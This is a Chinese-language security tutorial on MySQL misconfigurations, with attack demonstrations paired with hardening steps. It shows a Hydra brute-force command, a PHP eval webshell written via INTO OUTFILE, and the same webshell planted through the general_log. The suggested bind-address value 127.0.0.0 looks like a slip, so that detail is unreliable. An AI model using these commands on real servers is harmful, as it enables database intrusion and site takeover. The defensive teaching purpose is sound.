前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全攻防 | mysql安全问题及修复方式

安全攻防 | mysql安全问题及修复方式

作者头像
安全小王子
发布2023-02-25 14:47:26
7580
发布2023-02-25 14:47:26
举报
文章被收录于专栏:betasecbetasec

声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

Mysql是目前较为流行的关系型数据库管理系统,由于其体积小、速度快、维护成本较低。一般中小型网站的开发使用Mysql作为网站数据库较多。但是Mysql的不安全配置,也会带来很多的安全隐患,如:Mysql弱口令、数据库写webshell、UDF提权等。在本节将给读者介绍几种常见的Mysql不安全配置导致的安全问题,并针对该问题提供了常用的修复和加固方式。

1

Mysql数据库口令猜解

Mysql数据库在允许远程连接的情况下,攻击者可以利用弱口令检查工具,如:Hydra等,对Mysql数据库进行弱口令暴力破解攻击,如图所示为通过Hydra远程暴力破解数据库口令,猜解出口令为root/root。

代码语言:javascript
复制
>>> sudo hydra -l root -P password.txt mysql://192.168.5.160 -I

为防止攻击者远程暴力破解Mysql数据库口令,对于站库分离的网站类型,可以通过设置白名单的方式,禁止数据库被公开访问,如不是站库分离的网站类型,可以关闭Mysql远程连接方式,只允许本地localhost连接管理数据库,利用该方式可以有效防止攻击者Mysql远程暴力破解攻击。

通过执行如下命令语句查询Mysql允许远程主机连接数据库情况,如果host字段为”%”表示该数据库允许远程主机连接,可以通过修改host字段为localhost表示只允许本地主机连接到Mysql数据库。如图所示,更改 Mysql只允许本地主机连接。

代码语言:javascript
复制
mysql> use mysql;
mysql> select host, user from user;
mysql> update user set host='localhost' where user='root';
mysql> select host, user from user;

可以通过更改配置文件mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件。修改“bind-address”字段的值为127.0.0.0。这样可以使得远程主机探测不到mysql数据库开放的tcp端口。

修改Mysql数据库用户的登录口令的复杂度,通常要求密码长度在8-16位,字母大小写、数字、特殊字符的组合。不同的Mysql版本更改方式不同,此处列举了Mysql5和Mysql8两个版本的实例,如下所示:

对于Mysql8版本,可以通过执行以下指令修改root的登录口令。其中的‘%’根据查询的mysql数据库中的host字段的值确定。

代码语言:javascript
复制
>>> sudo mysql -u root -p
MySQL > use mysql;
MySQL >ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'AnyWhereis5@0';

对于Mysql 5版本,可以通过执行以下指令修改root的登录口令。

代码语言:javascript
复制
>>> sudo mysql -u root -p
MySQL > use mysql;
MySQL >update user set authentication_string=password("AnyWhereis5@0") where user='root';

当攻击者成功猜解到数据库登录口令或者目标网站存在sql注入时,除了能够获取到数据库存储的敏感数据以外,如果Mysql具备可以在网站目录写权限的情况下,在向目标网站写入一句话木马文件,通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。

2

数据库写webshell

代码语言:javascript
复制
>>> select '<?php @eval($_POST[passwd]);?>' into outfile '/var/www/html/shell.php';

如果目标网站设置了secure_file_priv参数,限制了Mysql文件写入功能。攻击者也可以修改MySQL的log日志文件写入一句话木马文件,最后通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。

代码语言:javascript
复制
MySQL > show variables like '%general%';
MySQL > set global general_log = on;
MySQL> select '<?php @eval($_POST[passwd]);?>';
MySQL> set global general_log=off;

为防止攻击者通过Mysql向网站写入一句话木马,可以通过修改mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件,将secure_file_priv参数设置“NULL“或者指定特定目录路径,这样可以禁用或者限制Mysql的导入与导出功能。

为防止攻击者通过修改Mysql日志文件的方式向网站写入一句话木马,可以通过禁用root用户远程连接的方式,使用降权后的普通用户权限连接,

代码语言:javascript
复制
mysql> revoke ALL on *.* from admin@'%';
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-12-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档